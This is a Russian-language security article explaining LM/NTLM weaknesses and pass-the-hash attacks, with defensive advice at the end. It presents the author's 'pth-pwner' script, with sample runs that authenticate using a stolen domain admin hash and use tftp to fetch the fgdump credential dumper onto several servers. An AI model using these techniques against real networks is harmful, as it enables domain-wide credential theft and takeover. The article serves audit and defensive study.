NTLM не умер, он просто так пахнет - Общие Статьи - Каталог статей - tHR

Меню

Статистика
	Ваш IP: 3.145.81.47 Вы используете: v Сейчас на сайте: Тех поддержка ->

Облако тэгов

ОС видио Tor Обратная сторона антенна 4.6 PHP Эксплоит Windows Server 2008 qip Virtual chroot kernel proc sysctl tune FreeBSD bridge Boot Disk Bluetooth GEO game directx Emulator Python Shell DDoS червь Conficker вирус троян Лаборатория Касперского пиратство apple iPhone ИТ-отрасль Щеголев Microsoft экономический кризис Twitter социальная сеть анонимность Лицензия Open Source ASP.NET MVC уязвимость MySQL база данных файлообмен закон франция пират Skype мобильный Deutsche Telekom Хакер киберпреступник Trend Micro кибератака Германия робот утечка данных персональные данные ноутбук интернет Китай цензура ядро Linux Торвальдс Windows Vista Acer Linux патент браузер Firefox Internet Explorer Opera Net Applications Safari Intel Linux Foundation Moblin Oracle патч банкомат кардер HSM IBM X-Force Cofee сша кибервойна Эстония Dell ИТ-специалист хакерские атаки Pirate Bay контроль кибербезопасность язык программирования The Pirate Bay Пиратская партия утечка информации приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 Баллмер взлом Пентагон ботнет Украина Facebook Cisco cloud Windows XP нетбук торрент музыка биометрический nokia ФБР IP-адрес CIPAV Comcast sms RSA java Google CAPTCHA Symantec спам конфиденциальная информация инсайдер Perimetrix антивирус тест Anti-Malware Windows 7 операционная система Windows провайдер авторское право RapidShare UNIX свиной грипп шантаж дети EFF BluWiki копирайт экстремизм Panda Security cloud computing McAfee Cybercrime Response Unit Bottle Domains HTTPS ICANN студент шпионское ПО Норвегия школьник New York Times XSS YouTube Warner Music кибершпионаж КНДР Ubuntu свободное ПО AMD ATI касперский Россия РФ сервер хостинг фальшивый антивирус Comodo CA Wi-Fi D-Link суд пароль блог фишинг Одноклассники медведев контрафакт мошенник штраф Sony GPS по Gumblar JAVASCRIPT хакеры вредоносное ПО Yahoo ФАС компьютер Софт MPAA кибероружие PandaLabs Red Hat Минкомсвязи сбой ASUSTeK Computer мошенничество Доктор Веб ВКонтакте Cyber-Arc исходный код PCI DSS МВД фильтр порнография BREIN свобода слова Казахстан GEMA Autodesk сисадмин Gmail кредитная карта кибермошенник LiveJournal шифрование криптография Deep Purple банк нанотехнологии Wikipedia zero-day ColdFusion выборы кража данных DNS BIND Android BASIC атака Black Hat Mac OS X Click Forensics Clampi домен фсб Прокуратура Уголовное дело icq Barrelfish киберпреступность Sophos AT&T ошибка Electa Gamma Knife OpenBSD DARPA военные Сайт Visual Studio 2010 .NET Framework 4 Chrome OS электронная почта турция конференция спамер FTC полиция российская ОС Koobface Великобритания БЕЛОРУССИЯ грузия BSA Bittorrent облачные вычисления Azure Европа Dr.Web Билл Гейтс спецслужбы Cryzip Живой Журнал Royal Bank of Scotland смартфон Canonical Pwn2Own F-Secure Symbian Hotmail фильм

Главная » Статьи » Общие Статьи

NTLM не умер, он просто так пахнет

О проблемах безопасности протоколов LM/NTLM сказано немало. Поэтому для того, чтобы в очередной раз поднимать эту тему, нужны некоторые причины. И такие причины есть. Во-первых, опыт проведения аудита в крупных корпоративных сетях наглядно показывает: по состоянию на конец 2008 года даже старый LanManager кое-где еще живее всех живых. Иными словами, данная статья, как и приведенная в статье утилита, никогда не были бы написаны, если бы их актуальность не была подтверждена регулярной практикой. Вторая причина является следствием первой и заключается в регулярном появлении на известных конференциях по безопасности (BlackHat, Defcon) материалов на заданную тематику, как и различного вида программных средств для проведения атак на NTLM-хэши. Поэтому скептикам, приготовившим аргумент в виде слова "Kerberos", рекомендуется глубоко вдохнуть и пойти проверить свою Windows-сеть на наличие описываемых проблем.

Немного скучной теории. Аутентификация и пароли

Чтобы понять, какую роль протокол NTLM играет в аутентификационном процессе на Windows-машине, рассмотрим, что же происходит после нажатия заветной комбинации Ctrl+Alt+Delete во время интерактивного входа в систему. Процесс Winlogon, а точнее, графическая библиотека GINA (Graphical Identification and Authentication) принимает введенные пользователем аутентификационные данные (имя пользователя и пароль, PIN-код от смарт-карты и т.п.) и инициирует обращение в LSA (Local Security Authority). В случае осуществления локального входа, LSA выполняет обращение в локальную SAM-базу для аутентификации пользователя и возвращает процессу Winlogon токен доступа. После этого, в случае успешной аутентификации, пользователь получает доступ к графической оболочке.
В случае использования доменной структуры пользователя аутентифицирует не локальная LSA, а LSA на контроллере домена, хранящего учетные записи доменных пользователей в Active Directory. Для удаленного взаимодействия этих подсистем (т.е. для аутентификации пользователя или компьютера по сети) используются т.н. аутентификационные пакеты (authentication package), реализующие различные протоколы аутентификации. Таковых всего два: NTLM (библиотека MSV1_0.dll) и Kerberos (библиотека Kerberos.dll). Начиная с Windows 2000, для совершения процедуры доменной аутентификации по умолчанию используется протокол Kerberos (строго говоря, начиная с Windows 2000 LSA по умолчанию выбирает пакет Kerberos вне зависимости от вида входа в систему, но этот аутентификационный пакет не умеет выполнять локальную аутентификацию, и в случае локального входа выполняется fallback на NTLM для обращения к SAM-базе с хэшами паролей).

Пароли в Windows шифруются одним из двух возможных способов: LM и NTLM-хэш. Слабости обоих алгоритмов общеизвестны: отсутствие т.н. «соли» (salt) для рандомизации выходной последовательности (строго говоря, протокол LM использует фиксированное значение «соли» - «KGS!@#$%», NTLM же представляет собой просто MD4-хэш пароля пользователя), что открывает возможность использования Rainbow-таблиц для подбора пароля. Кроме того, LM-хэш является крайне нестойким (максимальная длина пароля составляет 14 символов, недостающие символы дополняются нулями, а затем пароль делится на две части по 7 символов, которые шифруются отдельно с помощью алгоритма DES) и вскрывается с использованием современных вычислительных мощностей за конечное время.

В Windows штатно присутствует три механизма удаленной аутентификации, реализованных в аутентификационных пакетах NTLM и Kerberos, о которых сказано выше. Это LM/NTLM challenge-response, NTLMv2 challenge-response и Kerberos. Недостатки первых двух также общеизвестны: для аутентификации доменным пользователем совершенно необязательно иметь его пароль, так как в процедуре аутентификации используется только хэш пароля учетной записи пользователя. Именно на этом свойстве протокола построены атаки вида Pass-the-Hash, первое упоминание о которых датируется аж 1997 годом.

Зачем мне все это в 2008 году?

Наконец, мы подходим к главной причине, по которой в этой статье собраны материалы более чем десятилетней практики security-сообщества, и имя ей – обратная совместимость. Так, только лишь в Windows Vista / Windows Server 2008 генерация LM-хэшей по умолчанию отключена (опция NoLmHash в разделе реестра HKLM\SYSTEM\CurrentControlSet\Control\Lsa), все предыдущие версии ОС, включая самый распространенный на сегодняшний день в корпоративной среде Windows Server 2003, по умолчанию генерируют и хранят LM-хэши для паролей, длина которых меньше 14 символов. Однако это не самое страшное. Гораздо более неприятен следующий факт: не смотря на то, что все серверные версии Windows, начиная с Server 2000, по умолчанию используют Kerberos для удаленной аутентификации пользователя или ресурса, протокол LM/NTLM challenge-response все еще поддерживается и может быть использован, если клиент инициирует такое соединение. За эту поддержку отвечает ключ реестра LmCompatibilityLevel в разделе реестра HKLM\SYSTEM\CurrentControlSet\Control\Lsa, который может принимать целочисленное значение от 0 до 5. В Windows Server 2003 этот параметр по умолчанию имеет значение 2, в Windows Vista / Server 2003 – 3, и для контроллера домена означает возможность использования клиентом LM/NTLM или NTLMv2 challenge-response протокола для удаленной аутентификации.

Неудивительно, что в настоящее время широко распространены утилиты для «игр» с NTLM-хэшами, а сама задача получения хэша является более чем актуальной. Еще бы, ведь даже в сети, построенной на самой современной на текущий день серверной платформе Windows Server 2008, получение хотя бы одного хэша учетной записи, обладающей административными правами на каком-либо сервере, может привести к получению удаленного административного доступа к контроллеру домена, а значит, и ко всем серверам и рабочим станциям в домене. Этому способствует сильная связанность в корпоративных сетях: опыт проведения аудитов показывает, что ситуация, при которой обнаруженная на одном сервере учетная запись подойдет, по крайней мере, на еще один сервер, является более чем типичной. Получив, таким образом, доступ к новому серверу и сняв с него новые хэши паролей, есть большая вероятность инициировать лавинный процесс, который рано или поздно приведет к получению искомого: учетной записи администратора домена. При этом стоит отметить, что стойкость пароля не имеет никакого значения, ведь ничего не нужно расшифровывать – ни с помощью Rainbow-таблиц, ни «грубой силой».

Как получить хэши?

В «чистом виде» хэши можно получить следующими способами:
- Из AD-хранилища (в случае контроллера домена);
- Из локальной SAM-базы;
- Из кэша LSA, во время активной сессии пользователя.

Если с первыми двумя все понятно, то третий не стоит путать с т.н. “cached logon accounts”, которые хранятся в системе на случай необходимости входа в домен при недоступном контроллере. Во время активного локального или удаленного сеанса работы (например, когда администратор подключается по RDP для выполнения административных задач) LSA хранит активные credentials в памяти, откуда они могут быть получены с помощью таких утилит как whosthere.exe из набора Psh-toolkit (http://oss.coresecurity.com/projects/pshtoolkit.htm) или gsecdump.exe (http://www.truesec.com).

Существуют также альтернативные способы получения NTLM-хэшей, например, довольно эффективно показывает себя в корпоративных сетях перехват хэшей при совершении клиентским браузером NTLM HTTP-аутентификации. Летом 2008 года на конференции DefCon была продемонстрирована утилита Squirtle (http://code.google.com/p/squirtle/) для проведения подобных атак. Однако NTLM-хэш пароля в случае HTTP-аутентификации передается в сообщении (Type 3 message) в зашифрованном случайным значением (nonce) виде и не подходит для немедленного использования, требуя предварительной расшифровки. Поэтому данные методы, хоть и являются весьма интересными, выходят за рамки данной статьи.

PtH-Pwner

Существует большое количество утилит, которые позволяют подменять права текущего пользователя (credentials), используя полученный NTLM-хэш. Самые популярные – это iam.exe из вышеупомянутого набора Psh-toolkit и msvctl.exe от TrueSec. Они позволяют «представляться» в Windows-сети от имени скомпрометированной учетной записи для получения доступа к сетевым ресурсам. Однако у них имеется два недостатка. Первый – их использование ограничено win32-платформой, второй – обе эти утилиты слабо подходят для автоматизации рутинных задач. В то же время практика проведения аудитов защищенности не раз требовала легкого и удобного решения задач вида «на какие еще машины подойдет обнаруженный NTLM-хэш со взломанного сервера», «пройтись по взломанным серверам и добавить учетную запись, вытащить новые хэши паролей» и т.п. Для автоматизации таких задач был написан скрипт на языке shell, по сути являющийся удобной оболочкой для утилиты winexe (линуксовый аналог psexec), пропатченной для возможности аутентификации с помощью NTLM-хэша (http://www.foofus.net/jmk/passhash.html). За отсутствием богатой фантазии у автора скрипт назван pth-pwner и доступен по адресу http://www.dsec.ru/dsecrg/releases/pth-pwner.tar.gz.

Скрипт функционирует под ОС Linux и может работать в двух режимах. В первом он принимает в качестве аргументов имя пользователя (локального или доменного), хэш его пароля и адрес сервера (или подсети). Опционально может быть указан файл, в котором построчно указаны команды для выполнения на сервере (по умолчанию выполняется команда ipconfig), список хостов также может быть указан в файле и передан в качестве аргумента. После запуска утилита пытается аутентифицироваться переданным хэшем на указанных серверах и выполнить заданную команду.

$ ./pth-pwner -u CORP\\domadmin -s 64DFE7...F74F9B:ADF5F3...6BB49AD2 -h 10.11.0.6

[+] PtH-Pwner v. 1.0 (Aug 2008)

Running with the following credentials:
Username to login: domadmin
Domain: CORP
SMBHASH to use: 64DFE7...F74F9B:ADF5F3...6BB49AD2
Host/Subnet to scan: 10.11.0.6
Command to execute: ipconfig

[+] attacking 10.129.11.6

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.11.0.6
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : 10.11.0.7
10.11.0.6 [CORP]: SUCCESS!

All done. 1 scanned, 1 succeeded

$ ./pth-pwner.sh -u LocAdmin -s 64DFE71...F74F9B:ADF5...116BB49AD2 -f hosts.txt -c commands.txt

[+] PtH-Pwner v. 1.0 (Aug 2008)

Running with the following credentials:
Username to login: LocAdmin
SMBHASH to use: 64DFE71...F74F9B:ADF5...116BB49AD2
Reading hosts from hosts.txt
Reading commands from commands.txt

[+] attacking 10.11.0.11
>>>>>>>> attempting to execute [tftp -i 10.11.0.141 GET fgdump.exe] on 10.11.0.11
Transfer successful: 974848 bytes in 1 second, 974848 bytes/s
10.11.0.11 [SERV11]: executing [tftp -i 10.11.0.141 GET fgdump.exe] -> SUCCESS!
[+] attacking 10.11.0.20
>>>>>>>> attempting to execute [tftp -i 10.11.0.141 GET fgdump.exe] on 10.11.0.20
Transfer successful: 974848 bytes in 1 second, 974848 bytes/s
10.11.0.20 [SERV20]: executing [tftp -i 10.11.0.141 GET fgdump.exe] -> SUCCESS!
...

Для еще большей автоматизации процесса можно воспользоваться вторым режимом работы скрипта. Предположим, у нас есть результат работы утилиты gsecdump.exe с какого-либо сервера. Передав при помощи ключа -g на вход скрипту вместо одного NTLM-хэша файл с хэшами в формате gsecdump, мы заставим его проверить каждую присутствующую в файле запись на возможность аутентификации на заданных хостах. Очевидно, что, передав в качестве команды закачивание и выполнение на скомпрометированных хостах утилиты gsecdump.exe, мы можем инициировать тот самый лавинный эффект, который приведет к взлому все большего и большего количества хостов на каждой итерации.

Как защититься?

Очевидно, что никакая парольная политика от описанных атак не спасет, так пароль не подвергается расшифровке, а значит, его стойкость не имеет никакого значения. Переход на двухфакторные методы аутентификации, как ни странно, тоже не исправит ситуацию. NTLM слишком «глубоко вшит» в систему и отключить его полностью не представляется возможным. Так, в Windows 2000 при переходе на аутентификацию по смарт-картам хэш пароля все равно хранится в базе без изменений. В Windows 2003 пароль меняется на случайную последовательность, но, как сказано выше, роли это никакой не играет.

Специалисты из Compass Security AG провели любопытное исследование (http://www.csnc.ch/static/download/Hash_Injection_Attack_E.pdf), в котором попытались как полностью деактивировать аутентификационный пакет NTLM в реестре, так и физически удалить библиотеку MSV1_0.dll с рабочей станции под управлением Windows XP в домене. В обоих случаях ни локальный, ни доменный вход систему стал невозможен.

Все типовые рекомендации (отключение хранения LM-хэшей на серверах и рабочих станциях, выставление параметра LmCompatibilityLevel в максимально возможное значение, отключение локального хранения кэшированных аккаунтов и последующая очистка кэша и т.п.) не являются панацеей от проблемы.

В какой-то степени помочь может принудительное шифрование трафика и аутентификация хостов с помощью IPSec, для невозможности использования хэша с недоверенных систем. Для этого необходимо настроить соответствующие политики на контроллере домена.

Выводы

Алгоритм LanManager (LM) был разработан в начале 90-х годов прошлого века. Операционная система Windows Server 2003 вышла тринадцать лет спустя. И тем не менее, в ней все еще хранились пароли пользователей, зашифрованные с применением этого алгоритма. Виновницей данного факта, как и того, что описанные в статье атаки далеко не первой свежести отлично работают в современных Windows-сетях, является она - та, которая вызывает скрип зубов у разработчиков и крики отчаяния пользователей. Имя ей - backward compatibility.